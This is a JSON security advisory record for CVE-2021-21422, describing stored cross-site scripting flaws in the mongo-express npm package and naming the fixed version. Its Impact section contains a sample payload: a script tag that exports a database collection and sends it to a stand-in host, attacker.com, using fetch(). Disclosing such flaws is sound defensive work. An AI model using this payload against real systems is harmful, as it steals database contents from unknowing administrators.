{"id":"GHSA-7p8h-86p5-wv3p","summary":"Cross-site scripting","details":"Two kinds of XSS were found:\n\n1.  As mentioned in https://github.com/mongo-express/mongo-express/issues/577 when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell.\n2. Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc.\n\n\n\n### Impact\nAs an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use this payload:\n```JSON\n{\"someField\": \"long string here to surpass the limit of document ...... \u003cscript\u003e await fetch('http://localhost:8081/db/testdb/export/users').then( async res =\u003e  await fetch('http://attacker.com?backup='+encodeURIComponent((await res.text())))) \u003c/script\u003e\"  }\n```\nThis will send an export of a collection to the attacker without even admin knowing. Other types of attacks such as dropping a database\\collection are also possible.\n\n### Patches\nUpgrade to  `v1.0.0-alpha.4`\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [mongo-express](https://github.com/mongo-express/mongo-express/issues/new)\n* Email me at [jafar.akhoondali@gmail.com](mailto:jafar.akhoondali@gmail.com)\n","aliases":["CVE-2021-21422"],"modified":"2026-07-08T06:29:33.325350636Z","published":"2021-06-28T17:18:04Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2021-06-21T17:53:12Z","nvd_published_at":"2021-06-21T19:15:00Z","cwe_ids":["CWE-79"]},"references":[{"type":"WEB","url":"https://github.com/mongo-express/mongo-express/security/advisories/GHSA-7p8h-86p5-wv3p"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-21422"},{"type":"WEB","url":"https://github.com/mongo-express/mongo-express/issues/577"},{"type":"WEB","url":"https://github.com/mongo-express/mongo-express/commit/f5e0d4931f856f032f22664b5e5901d5950cfd4b"}],"affected":[{"package":{"name":"mongo-express","ecosystem":"npm","purl":"pkg:npm/mongo-express"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.0.0-alpha.4"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 1.0.0-alpha.2","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/06/GHSA-7p8h-86p5-wv3p/GHSA-7p8h-86p5-wv3p.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N"}]}